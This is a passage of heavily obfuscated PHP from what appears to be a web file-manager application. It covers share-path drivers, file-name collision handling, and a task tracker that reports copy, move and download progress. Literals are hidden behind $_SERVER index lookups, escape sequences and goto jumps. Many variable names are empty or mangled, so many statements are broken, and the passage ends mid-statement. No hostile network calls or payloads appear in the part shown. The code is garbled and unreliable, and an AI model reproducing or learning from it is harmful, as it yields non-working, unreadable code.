$ů[11] . $㒟; $ = Cache::get($); if ($) { return $; } $Ꝁ = array($ů[585] => 0); if ($ != !1) { $Ꝁ[$ů[510]] = $; $Ꝁ[$ů[417]] = $㒟; } $ = array(); $[$ů[2132]] = array($ů[2133] => LNG($ů[2132]), $ů[2134] => $this->where($Ꝁ)->count(), $ů[587] => $this->where($Ꝁ)->sum($ů[90])); $ͩ = KodIO::fileTypeList(); foreach ($ͩ as $ǹ => $) { $Ꝁ[$ů[418]] = $this->fileTypeWhere($ǹ); $[$ǹ] = array($ů[2133] => $[$ů[32]], $ů[2134] => $this->where($Ꝁ)->count(), $ů[587] => $this->where($Ꝁ)->sum($ů[90])); } Cache::set($, $, 1200); return $; } public function fileNameExist($꿐, $ŷ) { $ =& $_SERVER[Ȣ]; $֑ = $this->where(array($[503] => $꿐, $[32] => $ŷ, $[436] => 0))->find(); return is_array($֑) ? $֑[$[408]] : !1; } public function childList($) { $ϟ =& $_SERVER[Ȣ]; $£ = $ϟ[2109] . $; if (isset(self::$cacheChildList[$£])) { return self::$cacheChildList[$£]; } $ɮ = array($ϟ[503] => intval($), $ϟ[436] => 0); $Տ = $this->where($ɮ)->select(); $Տ = $Տ ? $Տ : array(); self::$cacheChildList[$£] = $Տ; foreach ($Տ as $LJ) { $£ = $ϟ[463] . $LJ[$ϟ[408]]; self::$cacheSourceInfo[$£] = $LJ; } return $Տ; } public function fileNameAuto($݂, $, $鈛掵 = REPEAT_RENAME, $ = false) { $ =& $_SERVER[Ȣ]; $Ȗǁ = array($[503] => $݂, $[436] => 0, $[32] => array($[391], $ . $[392])); $ = $this->field($[32])->where($Ȗǁ)->select(); $Ѿ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($Ѿ, $, $鈛掵, $); } public function fileNameAutoGet($ƛ, $甇, $, $) { $ԁ =& $_SERVER[Ȣ]; if ($ == REPEAT_REPLACE || !$ƛ || !in_array_not_case($甇, $ƛ) || $ && $ != REPEAT_RENAME_FOLDER) { return $甇; } if ($ == REPEAT_SKIP) { return !1; } $ = $ԁ[10] . get_path_ext($甇); $ = $ == $ԁ[10] || $ ? $ԁ[12] : $; for ($쫑 = 1; $쫑 <= count($ƛ) + 1; $쫑++) { $Ք = substr($甇, 0, strlen($甇) - strlen($)); $ = $Ք . "\x28{$쫑}\51{$}"; if (!in_array_not_case($, $ƛ)) { return $; } } } } goto eɐገ; b: class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[Ȣ][1337]); } public function getPathOuter($) { $ =& $_SERVER[Ȣ]; if (!$) { return $; } $ރ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[405]], $ރ[$[405]]), $[8]); } protected function infoParse($, $Ոđ = false, $ȧ = false) { $ϋ =& $_SERVER[Ȣ]; $ = $this->pathParse[$ϋ[405]]; $ٱ = trim($this->pathParse[$ϋ[1179]], $ϋ[8]); return Action($ϋ[1345])->sharePathInfo($, $ٱ, $Ոđ); } public function infoFull($ߒ) { $ =& $_SERVER[Ȣ]; $ = explode($[8], trim($ߒ, $[8])); if (count($) > 1) { $Ԥ = implode($[8], array_splice($, 1)); $ᰋ = $this->model->pathInfoByPath($[0], $Ԥ); if (!$ᰋ) { return !1; } $this->pathParse[$[1179]] = $ᰋ[$[408]]; } return $this->infoParse($ߒ); } public function listAll($) { $ĩ =& $_SERVER[Ȣ]; $ = IO::info($this->pathParse[$ĩ[88]]); if (!$) { return array(); } $ = $this->model->listAll($); $ŧ = Model($ĩ[603])->getInfo($[$ĩ[493]]); $ζ = Action($ĩ[1345]); foreach ($ as &$) { check_abort(); $[$ĩ[97]] = $ζ->_shareItemeParse($[$ĩ[97]], $ŧ); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($Щ) { $this->pathParse = $Щ; $this->model = Model($_SERVER[Ȣ][1337]); } protected function infoParse($, $ = false, $߹ = false) { $݃ =& $_SERVER[Ȣ]; return Action($݃[1185])->sharePathInfo($this->pathParse[$݃[88]], !0, $); } public function listPath($с, $܇ = false) { $ =& $_SERVER[Ȣ]; $ȧ = parent::listPath($с, $܇); if (!$ȧ) { return $ȧ; } if (is_array($ȧ[$[1346]])) { $ȧ[$[1346]] = Action($[1185])->shareItemInfo($ȧ[$[1346]]); } foreach ($ȧ as $; => $⻒) { if (!in_array($;, array($[86], $[87]))) { continue; } foreach ($⻒ as $ޅ̐ => $Ц) { $ȧ[$;][$ޅ̐] = Action($[1185])->shareItemInfo($Ц); } } return $ȧ; } public function listAll($ӓ) { $ң =& $_SERVER[Ȣ]; $ = IO::info($this->pathParse[$ң[88]]); if (!$) { return array(); } $ɒ = $this->model->listAll($ӓ); foreach ($ɒ as &$) { $[$ң[97]] = Action($ң[1185])->shareItemInfo($[$ң[97]]); } unset($); return $ɒ; } } class PathDriverDriverShareItem { public function __construct($弄) { $this->pathParse = $弄; } public function __call($ҕҹ, $̼) { $ =& $_SERVER[Ȣ]; if (method_exists($this, $ҕҹ)) { return; } $ = call_user_func_array(array($[1347], $ҕҹ), $̼); $̝ = array($[1348], $[1349], $[1350], $[1351], $[557], $[559], $[1352], $[118], $[1353], $[1354]); if (in_array($ҕҹ, $̝)) { $ = $this->getPathOuter($); } return $; } public function copy($ʇ, $݃ʊ, $ = false, $硔˹ = false) { return $this->copyMove($ʇ, $݃ʊ, $, $_SERVER[Ȣ][557], $硔˹); } public function move($, $Д, $ = false, $ = false) { return $this->copyMove($, $Д, $, $_SERVER[Ȣ][559], $); } private function copyMove($ׂ, $Δ, $ֲ, $ྤ, $ = false) { $ =& $_SERVER[Ȣ]; $ = $Δ; $ = IO::driverMake($Δ); if ($->pathParse[$[1163]]) { $Δ = $->pathParse[$[1163]]; } else { $Δ = $; } $î = IO::copyMove($ׂ, $Δ, $ֲ, $ྤ, $); $î = $this->getPathOuter($î); return $î; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[Ȣ][88]]); } public function pathFather($ص) { return get_path_father($this->pathParse[$_SERVER[Ȣ][88]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ = false) { $ߎ =& $_SERVER[Ȣ]; $ڪ = $this->pathParse[$ߎ[491]][$ߎ[1186]] . $this->pathParse[$ߎ[1179]]; if ($) { $³ = IO::infoWithChildren($ڪ); } else { $³ = IO::info($ڪ); } $ = $this->pathParse[$ߎ[491]]; return Action($ߎ[1345])->_shareItemeParse($³, $); } public function listAll($) { $ĩ =& $_SERVER[Ȣ]; $dž = IO::listAll($); $֝ = $this->pathParse[$ĩ[491]]; foreach ($dž as &$Ҩ͗) { check_abort(); $ = IO::info($Ҩ͗[$ĩ[88]]); $ = is_array($) ? $ : array(); $Ҩ͗ = array_merge($, $Ҩ͗); $Ҩ͗[$ĩ[97]] = Action($ĩ[1345])->_shareItemeParse($Ҩ͗, $֝); } unset($Ҩ͗); return $dž; } public function getPathOuter($֍) { $滐 =& $_SERVER[Ȣ]; $ = KodIO::parse($֍); if ($[$滐[33]] == KodIO::KOD_SHARE_ITEM) { return $[$滐[88]]; } $ = KodIO::clear($֍); $ = KodIO::clear($this->pathParse[$滐[491]][$滐[1186]]); $ǦĹ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$滐[1180]] . $滐[8] . ltrim($ǦĹ, $滐[8]); } public function getType() { $Ł =& $_SERVER[Ȣ]; $磩 = str_replace($Ł[84], $Ł[12], get_class($this)); return strtolower($磩); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($Ծ) { return $this->infoParse($Ծ, !0); } public function infoFull($) { return $this->infoParse($); } } goto f; a؉: function binCheckBigger($, $ݽ) { return $ > $ݽ; } $_SERVER[$_SERVER[][3]] = ("\x38\x30\x35\x39".base64_decode('NDA='))+0;$_lx6u="6fxycvd0g8ia73sjhpl4orbuw529mnqzkt1e4e6hmi3ropxcfutz7b8aws2gylnq9";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($۸, $) { $ߥ =& $_SERVER[Ȣ]; if (isset(self::$_methodList[$۸])) { return @call_user_func_array(self::$_methodList[$۸], $); } else { if (method_exists($this, $۸)) { return call_user_func_array(array($this, $۸), $); } else { think_exception(__CLASS__ . $ߥ[4] . $۸ . $ߥ[5]); } } } public static function __callStatic($, $곞ˆ) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $곞ˆ); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $곞ˆ); } else { show_json("{$}\50\51\40\x6e\157\164\40\x65\170\151\163\x74\73", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($², $ې) { self::$_methodListStatic[$²] = $ې; } } goto aև; Cɞ: class Task { const STATYS_STOP = "\163\164\x6f\160"; const STATYS_RUNNING = "\162\165\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\x6b\151\x6c\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($, $鼾 = '', $ϒ = 0, $̘ = '') { $ =& $_SERVER[Ȣ]; if (self::get($)) { return; } $this->task = array($[405] => $, $[1666] => USER_ID, $[1566] => $̘, $[33] => $鼾, $[1076] => $[12], $[803] => $ϒ, $[1667] => 0, $[1668] => 0, $[1669] => 0, $[1670] => timeFloat(), $[1671] => 0, $[1672] => 0, $[1673] => 0, $[1674] => 0, $[767] => $[1626]); $GLOBALS[$[1675]] = 1; Hook::bind($[1629], array($this, $[1676])); Hook::bind($[1677], array($this, $[1678])); $this->startAfter(); Hook::trigger($[1679], $this->task); $this->task[$[1672]] = timeFloat(); } public function end() { $ =& $_SERVER[Ȣ]; if (!$this->task) { return; } if ($this->task[$[1672]]) { self::valueSet($this->task[$[405]], !1); } $ = timeFloat() - $this->task[$[1670]]; self::log($[1680] . $this->task[$[405]] . $[1681] . $ . $[1682]); Hook::unbind($[1629], array($this, $[1676])); Hook::unbind($[1677], array($this, $[1678])); $this->endAfter(); $this->task = !1; } public function update($ŧ = 0, $Ԧ = false) { $հǔ =& $_SERVER[Ȣ]; $ =& $this->task; if (!$) { return; } $[$հǔ[1667]] += $ŧ; $[$հǔ[1671]] = timeFloat(); if ($[$հǔ[803]]) { if ($[$հǔ[803]] < $[$հǔ[1667]]) { $[$հǔ[803]] = $[$հǔ[1667]]; } $϶ = timeFloat() - $[$հǔ[1670]] - $[$հǔ[1673]]; if ($϶ <= 0) { $϶ = 0.001; } $[$հǔ[1668]] = $[$հǔ[1667]] / $[$հǔ[803]]; $[$հǔ[1669]] = $[$հǔ[1667]] / $϶; if ($[$հǔ[1668]] > 0) { $[$հǔ[1674]] = $϶ * (1 - $[$հǔ[1668]]) / $[$հǔ[1668]]; } $[$հǔ[1674]] = $[$հǔ[1674]] <= 0 ? 0 : $[$հǔ[1674]]; } $this->updateAfter(); $ԗ = 0.2; if (timeFloat() - $[$հǔ[1672]] < $ԗ && !$Ԧ) { return; } $ݡ詪 = self::get($[$հǔ[405]]); $ = $ݡ詪[$հǔ[767]]; if ($ == self::STATYS_KILL) { $ = array($հǔ[1683] => LNG($հǔ[1684]), $հǔ[1201] => !1); Cache::set($հǔ[1685] . $this->task[$հǔ[405]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $վ = 2; $ݡ詪[$հǔ[1673]] += $վ; self::valueSet($[$հǔ[405]], $ݡ詪); sleep($վ); $this->update(); return; } } $[$հǔ[767]] = $ ? $ : $[$հǔ[767]]; $[$հǔ[1673]] = $ݡ詪[$հǔ[1673]] ? $ݡ詪[$հǔ[1673]] : 0; $[$հǔ[1672]] = timeFloat(); Hook::trigger($հǔ[1686], $); self::valueSet($[$հǔ[405]], $); } public function onKillSet($ģ, $ = array()) { $this->onKillCall = array($ģ, $); } public function onKill() { $ո =& $_SERVER[Ȣ]; self::log($ո[1680] . $this->task[$ո[405]] . $ո[1687]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ȗ) { $ =& $_SERVER[Ȣ]; Cache::set($[1685] . $this->task[$[405]], $ȗ, 60); return $ȗ; } public static function get($) { $ܽ =& $_SERVER[Ȣ]; $݄ = self::valueGet($); if (is_array($݄) && $݄[$ܽ[1688]]) { $萡 = ActionApply($݄[$ܽ[1688]], array($݄)); $݄ = is_array($萡) ? $萡 : $݄; } return $݄; } public static function listData() { $ޫ = self::valueGet(); return array_sort_by($ޫ, $_SERVER[Ȣ][1670], !0); } public static function kill($ȧ) { return self::changeStatus($ȧ, self::STATYS_KILL); } public static function stop($ϕ) { return self::changeStatus($ϕ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $Ɂ =& $_SERVER[Ȣ]; $ҳ = self::listData(); foreach ($ҳ as $) { self::kill($[$Ɂ[405]]); } sleep(2); foreach ($ҳ as $) { self::valueSet($[$Ɂ[405]], !1); } } private static function changeStatus($׆Ծ, $ը) { $ӗ =& $_SERVER[Ȣ]; $и = self::valueGet($׆Ծ); if (!$и) { return !1; } $и[$ӗ[767]] = $ը; self::valueSet($׆Ծ, $и); self::log($ӗ[1689] . $и[$ӗ[405]] . $ӗ[1690] . $ը); return !0; } public static function valueGet($äЮ = false) { $ =& $_SERVER[Ȣ]; if ($äЮ) { $ىݵ = Model($[450])->where(array($[105] => $äЮ, $[33] => $[1083]))->find(); return $ىݵ ? json_decode($ىݵ[$[382]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $穨 =& $_SERVER[Ȣ]; $א = array($穨[33] => $穨[1083]); if ($) { $א[$穨[1666]] = $; } $ = Model($穨[450])->where($א)->select(); $ = $ ? $ : array(); foreach ($ as $쀢ߡ => $Ё) { $[$쀢ߡ] = json_decode($Ё[$穨[382]], !0); } return $; } public static function valueSet($с, $) { $ﶌ =& $_SERVER[Ȣ]; if (!$) { return Model($ﶌ[450])->where(array($ﶌ[105] => $с, $ﶌ[33] => $ﶌ[1083]))->delete(); } $҅ = json_encode($); if (!$҅) { ob_start(); var_dump($); $О = ob_get_clean(); self::log($ﶌ[1691] . json_encode_force($О)); } if (!$с || !$[$ﶌ[405]]) { return !1; } $ = array($ﶌ[33] => $ﶌ[1083], $ﶌ[1666] => USER_ID, $ﶌ[105] => $с, $ﶌ[382] => $҅); $ = $ﶌ[1692]; CacheLock::lock($); Model($ﶌ[450])->add($, array(), !0); CacheLock::unlock($); } public static function log($ٖ) { if (!GLOBAL_DEBUG) { return; } write_log($ٖ, $_SERVER[Ȣ][1693]); } } class TaskFileTransfer extends Task { protected function startAfter() { $춈 =& $_SERVER[Ȣ]; $Ũ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($춈[1694], array($this, $춈[1695])); Hook::bind($춈[1225], array($this, $춈[1696])); Hook::bind($춈[1697], array($this, $춈[1698])); Hook::bind($춈[606], array($this, $춈[1699])); Hook::bind($춈[607], array($this, $춈[1700])); Hook::bind($춈[609], array($this, $춈[1701])); Hook::bind($춈[610], array($this, $춈[1701])); Hook::bind($춈[576], array($this, $춈[1702])); Hook::bind($춈[573], array($this, $춈[1702])); Hook::bind($춈[578], array($this, $춈[1702])); Hook::bind($춈[580], array($this, $춈[1702])); Hook::bind($춈[582], array($this, $춈[1702])); Hook::bind($춈[1703], array($this, $춈[1704])); Hook::bind($춈[599], array($this, $춈[1705])); $this->sourceModelCopyFlag = !1; Hook::bind($춈[1706], array($this, $춈[1707])); Hook::bind($춈[1708], array($this, $춈[1709])); Hook::bind($춈[1710], array($this, $춈[1711])); $Ũ[$춈[1712]] = LNG($춈[1713]); $Ũ[$춈[1714]] = 0; $Ũ[$춈[1715]] = 0; $Ũ[$춈[1076]] = $춈[12]; $Ũ[$춈[1716]] = $춈[12]; $Ũ[$춈[1717]] = 0; $Ũ[$춈[1718]] = 0; $Ũ[$춈[1719]] = 0; if (!$Ũ[$춈[1566]]) { $Ũ[$춈[1566]] = LNG($춈[1720]); } } protected function endAfter() { $ =& $_SERVER[Ȣ]; Hook::unbind($[1694], array($this, $[1695])); Hook::unbind($[1225], array($this, $[1696])); Hook::unbind($[1697], array($this, $[1698])); Hook::unbind($[606], array($this, $[1699])); Hook::unbind($[607], array($this, $[1700])); Hook::unbind($[609], array($this, $[1701])); Hook::unbind($[610], array($this, $[1701])); Hook::unbind($[576], array($this, $[1702])); Hook::unbind($[573], array($this, $[1702])); Hook::unbind($[578], array($this, $[1702])); Hook::unbind($[580], array($this, $[1702])); Hook::unbind($[582], array($this, $[1702])); Hook::unbind($[1703], array($this, $[1704])); Hook::unbind($[599], array($this, $[1705])); Hook::unbind($[1706], array($this, $[1707])); Hook::unbind($[1708], array($this, $[1709])); Hook::unbind($[1710], array($this, $[1711])); } public function copyMoveStart($̝, $Ŝ, $, $) { $Ӏ =& $_SERVER[Ȣ]; self::log($Ӏ[1721] . $Ŝ . $Ӏ[80] . $); $ϳ = rtrim(TEMP_FILES, $Ӏ[8]); if (substr($Ŝ, 0, strlen($ϳ)) == $ϳ) { return; } if (substr($, 0, strlen($ϳ)) == $ϳ) { return; } $͟ =& $this->task; $͟[$Ӏ[1722]] = KodIO::transferType($̝, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[Ȣ]; $ό =& $this->task; if (!$ό[$[780]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ό[$[1722]] == $[1314]) { return; } self::updateTask($ό); } private static function updateTask(&$) { $ =& $_SERVER[Ȣ]; if ($[$[1722]] == $[1209] || $[$[1722]] == $[118]) { if ($[$[1716]]) { $[$[1719]] = $[$[1718]] + $[$[1715]]; } } else { if ($[$[1722]] == $[1315]) { if ($[$[1716]] == $[1209]) { $[$[1719]] = $[$[1718]] + $[$[1715]] * 0.5; } else { if ($[$[1716]] == $[118]) { $[$[1719]] = $[$[1718]] + $[$[1714]] * 0.5 + $[$[1715]] * 0.5; } } } } $[$[1668]] = $[$[1719]] / $[$[780]]; if ($[$[1668]] > 0) { $Ä = timeFloat() - $[$[1670]] - $[$[1673]]; $[$[1674]] = $Ä * (1 - $[$[1668]]) / $[$[1668]]; } } public function addPath($¼Ή) { $ۯď =& $_SERVER[Ȣ]; if (!$¼Ή) { return; } $ =& $this->task; $ = IO::infoWithChildren($¼Ή); $ = $[$ۯď[1723]] ? $[$ۯď[1723]][$ۯď[1724]] : 0; $[$ۯď[1723]] = array($ۯď[1724] => $ + 1, $ۯď[426] => $[$ۯď[32]], $ۯď[88] => $[$ۯď[88]], $ۯď[524] => $[$ۯď[524]] ? $[$ۯď[524]] : $[$ۯď[88]]); if ($[$ۯď[33]] == $ۯď[206]) { $[$ۯď[803]] += 1; } else { $[$ۯď[803]] += $[$ۯď[93]][$ۯď[91]]; if ($[$ۯď[408]]) { $[$ۯď[803]] += $[$ۯď[93]][$ۯď[92]] + 1; } } $[$ۯď[780]] += $[$ۯď[90]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($ܡ) { $ҥ =& $_SERVER[Ȣ]; $Ȣ =& $this->task; $Ȣ[$ҥ[1712]] = $ܡ[$ҥ[32]]; $Ȣ[$ҥ[1076]] = $ܡ[$ҥ[32]]; $this->update(); } public function copyFileStart($د䬚, $, $, $, $, $͋) { $Ŏ =& $_SERVER[Ȣ]; $ = $; if ($ == $GLOBALS[$Ŏ[1725]]) { $ = $GLOBALS[$Ŏ[1726]]; } $GLOBALS[$Ŏ[1726]] = $; $GLOBALS[$Ŏ[1725]] = $͋; $ǦɊ =& $this->task; $ǦɊ[$Ŏ[1712]] = $; $ǦɊ[$Ŏ[1714]] = (int) $د䬚->size($); $ǦɊ[$Ŏ[1715]] = 0; $ǦɊ[$Ŏ[1076]] = $Ŏ[12]; $ǦɊ[$Ŏ[1716]] = $Ŏ[12]; $ǦɊ[$Ŏ[1717]] = 0; $Ί = $ǦɊ[$Ŏ[1714]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ǦɊ[$Ŏ[405]] . $Ŏ[1727]); if ($Ί && file_exists(get_path_father($))) { Cache::set($ǦɊ[$Ŏ[405]] . $Ŏ[1727], $); $ǦɊ[$Ŏ[1688]] = array($Ŏ[1728], $Ŏ[1729]); } $this->update(0, $Ί); } public static function updateCopyLocalFileSize($Ð) { $ =& $_SERVER[Ȣ]; $ٚ = Cache::get($Ð[$[405]] . $[1727]); if (!$ٚ || !file_exists($ٚ)) { return $Ð; } $Ð[$[1715]] = @filesize($ٚ); $Ð[$[1719]] += $Ð[$[1715]]; self::updateTask($Ð); return $Ð; } public function copyFileEnd($ϐՏ, $, $߆, $Ԝ, $, $탦) { $ =& $_SERVER[Ȣ]; $ =& $this->task; $[$[1715]] = $[$[1714]]; $[$[1716]] = $[12]; unset($[$[1688]]); if ($ == $[$[1712]]) { $[$[1718]] += $[$[1714]]; $[$[1719]] = $[$[1718]]; $this->update(1); } else { $this->update(); $[$[1715]] = 0; } Cache::remove($[$[405]] . $[1727]); self::log($[1730] . $ . $[80] . $Ԝ . $[66] . $ . $[1731] . $[$[1712]]); } public function updateFileEnd($ה, $Ř) { $ =& $_SERVER[Ȣ]; $ =& $this->task; $[$[1712]] = $ה; $[$[1714]] = $Ř; $[$[1718]] += $Ř; $[$[1719]] = $[$[1718]]; $this->update(1); self::log($[1732] . $ה); } public function sourceModelCopy($ߏ) { $͵Ȼ =& $_SERVER[Ȣ]; $Ə = $ߏ[0]; $ẑ = $ߏ[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($Ə) { case $͵Ȼ[574]: $ = 1; break; case $͵Ȼ[577]: $[$͵Ȼ[1712]] = $ẑ[$͵Ȼ[32]]; break; case $͵Ȼ[579]: $ = intval($ߏ[$͵Ȼ[388]] * 0.4); break; case $͵Ȼ[581]: $ = intval($ߏ[$͵Ȼ[388]] * 0.2); break; case $͵Ȼ[583]: $ = intval($ߏ[$͵Ȼ[388]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $ϙӡ) { $ =& $_SERVER[Ȣ]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[93]])) { $ = $[$[93]][$[91]] + $[$[93]][$[92]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($۫) { $this->sourceRemove($۫, !1); } public function curlProgress($, $, $, $Ͷ, $) { $ =& $_SERVER[Ȣ]; $ժ =& $this->task; if ($ > 0) { $ժ[$[1076]] = $[1733]; $ժ[$[1716]] = $[118]; if ($ժ[$[1714]]) { $ժ[$[1715]] = $; } if ($ժ[$[1717]]) { $ժ[$[1715]] = $ + $ժ[$[1717]]; } } else { if ($ > 0) { if ($ժ[$[1714]] == $) { $ժ[$[1715]] = $; $ժ[$[1076]] = $[1734]; $ժ[$[1716]] = $[1209]; } } } $this->update(); } public function curlProgressStart($Ñ) { } public function curlProgressEnd($ם) { $ͭ =& $_SERVER[Ȣ]; $떛 =& $this->task; $㎊ = curl_getinfo($ם); $ = $㎊[$ͭ[1735]]; if ($ == -1) { $ = $㎊[$ͭ[1736]]; } if ($떛[$ͭ[1716]] == $ͭ[118] && $) { $떛[$ͭ[1717]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $Ý듓 =& $_SERVER[Ȣ]; $ =& $this->task; $[$Ý듓[1737]] = 1; Hook::bind($Ý듓[1706], array($this, $Ý듓[1738])); Hook::bind($Ý듓[1708], array($this, $Ý듓[1739])); Hook::bind($Ý듓[1710], array($this, $Ý듓[1740])); } protected function endAfter() { $ =& $_SERVER[Ȣ]; Hook::unbind($[1706], array($this, $[1738])); Hook::unbind($[1708], array($this, $[1739])); Hook::unbind($[1710], array($this, $[1740])); } public function progressStart($騙ۄ) { $±Ɯ =& $_SERVER[Ȣ]; $ϡ = curl_getinfo($騙ۄ); self::log($±Ɯ[1741] . $ϡ[$±Ɯ[315]]); self::valueSet($this->task[$±Ɯ[405]], $this->task); } public function progressEnd($Ǡ) { $ؐ =& $_SERVER[Ȣ]; self::log($ؐ[1742] . $this->task[$ؐ[405]]); $this->end(); } public function progress($ɛ, $, $, $, $ϔ) { $ʻ» =& $_SERVER[Ȣ]; $ =& $this->task; if ($ϔ > 0) { $[$ʻ»[803]] = $[$ʻ»[803]] == 0 ? $ : $[$ʻ»[803]]; $[$ʻ»[1667]] = $ϔ; } else { if ($ > 0) { $[$ʻ»[803]] = $[$ʻ»[803]] == 0 ? $ : $[$ʻ»[803]]; $[$ʻ»[1667]] = $; } } $this->update(); self::log("\x70\x72\x6f\147\x72\x65\x73\x73\x48\164\x74\x70\x3a\144\x6f\167\x6e\72{$}\x2f{$}\73\x20\x75\x70\154\x6f\141\144\72{$ϔ}\57{$}\x3b"); } } goto c; f: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $ڤ =& $_SERVER[Ȣ]; $this->objectDriver = array($ڤ[70], $ڤ[71], $ڤ[72], $ڤ[73], $ڤ[74], $ڤ[75], $ڤ[76], $ڤ[77], $ڤ[78]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ , $_SERVER[Ȣ][8]); } return $ ; } public function iconvApp($Ȯ) { return $Ȯ; } public function iconvSystem($) { return $; } public function iconvTo($̮, $ӹ, $ĥ) { $ =& $_SERVER[Ȣ]; if (!$̮ || !function_exists($[79])) { return $̮; } static $ݵ = array(); $ڨ = $ӹ . $[80] . $ĥ . $[81] . $̮; if (isset($ݵ[$ڨ])) { return $ݵ[$ڨ]; } if (function_exists($[82])) { $ĕ = @mb_convert_encoding($̮, $ĥ, $ӹ); } else { $ĕ = @iconv($ӹ, $ĥ, $̮); } $ĕ = $ĕ ? $ĕ : $̮; if (strstr($ĕ, $[83])) { $ĕ = str_replace($[83], $[11], $ĕ); } $ݵ[$ӹ . $[80] . $ĥ . $[81] . $̮] = $ĕ; $ݵ[$ĥ . $[80] . $ӹ . $[81] . $̮] = $̮; $ݵ[$ĥ . $[80] . $ӹ . $[81] . $ĕ] = $̮; $ݵ[$ӹ . $[80] . $ĥ . $[81] . $ĕ] = $ĕ; return $ĕ; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ʼ =& $_SERVER[Ȣ]; $к = strlen(trim($this->pathBase, $ʼ[8])); $ = substr(trim($, $ʼ[8]), $к); return $this->pathDriver . $ʼ[8] . ltrim($, $ʼ[8]); } public function isParentOf($, $ǐ) { $棠 =& $_SERVER[Ȣ]; $ = rtrim(strtolower($), $棠[8]) . $棠[8]; $ǐ = rtrim(strtolower($ǐ), $棠[8]) . $棠[8]; $ϻϳ = strpos($ǐ, $) === 0; return $ϻϳ; } public function getType() { $ৱ =& $_SERVER[Ȣ]; $ = str_replace($ৱ[84], $ৱ[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $) { $ =& $_SERVER[Ȣ]; $ = rtrim($, $[8]) . $[8] . $; $κѻ = $this->exist($); return $κѻ ? $ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $خ) { $䛗 =& $_SERVER[Ȣ]; $ = $خ; Hook::trigger($䛗[85], $this, $, $this, $this->pathFather($) . $خ); $ = $this->getPathOuter($); $خ = $this->pathFather($) . $خ; if (IO::isFile($)) { $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } } else { $ = IO::mkdir($خ); if (!$) { return !1; } $ = IO::listPath($, !0); $ = array_merge($[$䛗[86]], $[$䛗[87]]); foreach ($ as $ڵż) { IO::move($ڵż[$䛗[88]], $خ, REPEAT_RENAME_FOLDER); } IO::remove($); } return $ ? $خ : !1; } public function tempFile($蕄 = '', $ = '') { if (!$蕄) { $蕄 = rand_string(15); } $ź = TEMP_FILES . rand_string(15) . $_SERVER[Ȣ][8]; @mkdir($ź, DEFAULT_PERRMISSIONS, !0); $ = $ź . $蕄; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($, $č = '', $ҫ = REPEAT_RENAME) { } public function mkdir($Π, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($Ԛ, $) { } public function moveFile($⬬, $Ɂ) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($㐪, $ŏ) { } public function exist($ȇ) { } public function findByHash($ = '', $Ӷ = '') { return !1; } public function isFile($߮) { } public function isFolder($) { } public function size($Ԑʎ) { } public function info($Ɍـ) { } public function infoSimple($Ƞ) { return $this->info($Ƞ); } public function infoAuth($) { return $this->info($); } public function infoFull($ڐܠ) { return $this->info($ڐܠ); } public function infoWithChildren($ђ) { $ =& $_SERVER[Ȣ]; static $ = array(); if (isset($[$ђ])) { return $[$ђ]; } $ = $this->info($ђ); if ($ && $[$[33]] == $[89]) { $ = array($[90] => 0, $[91] => 0, $[92] => 0); $this->infoChildren($ђ, $); $[$[90]] = $[$[90]]; $[$[93]] = array($[94] => $[$[91]], $[95] => $[$[92]]); $[$ђ] = $; } return $; } public function listPath($ҥء, $Й = false) { } public function has($̚, $آ = false, $ = false) { } public function canRead($¨) { } public function canWrite($) { } public function getContent($Ţ) { } public function setContent($䞥, $ = '') { } protected function infoChildren($ȷӝ, &$֎) { $ =& $_SERVER[Ȣ]; check_abort_echo(); $ɖ = $this->listPath($ȷӝ, 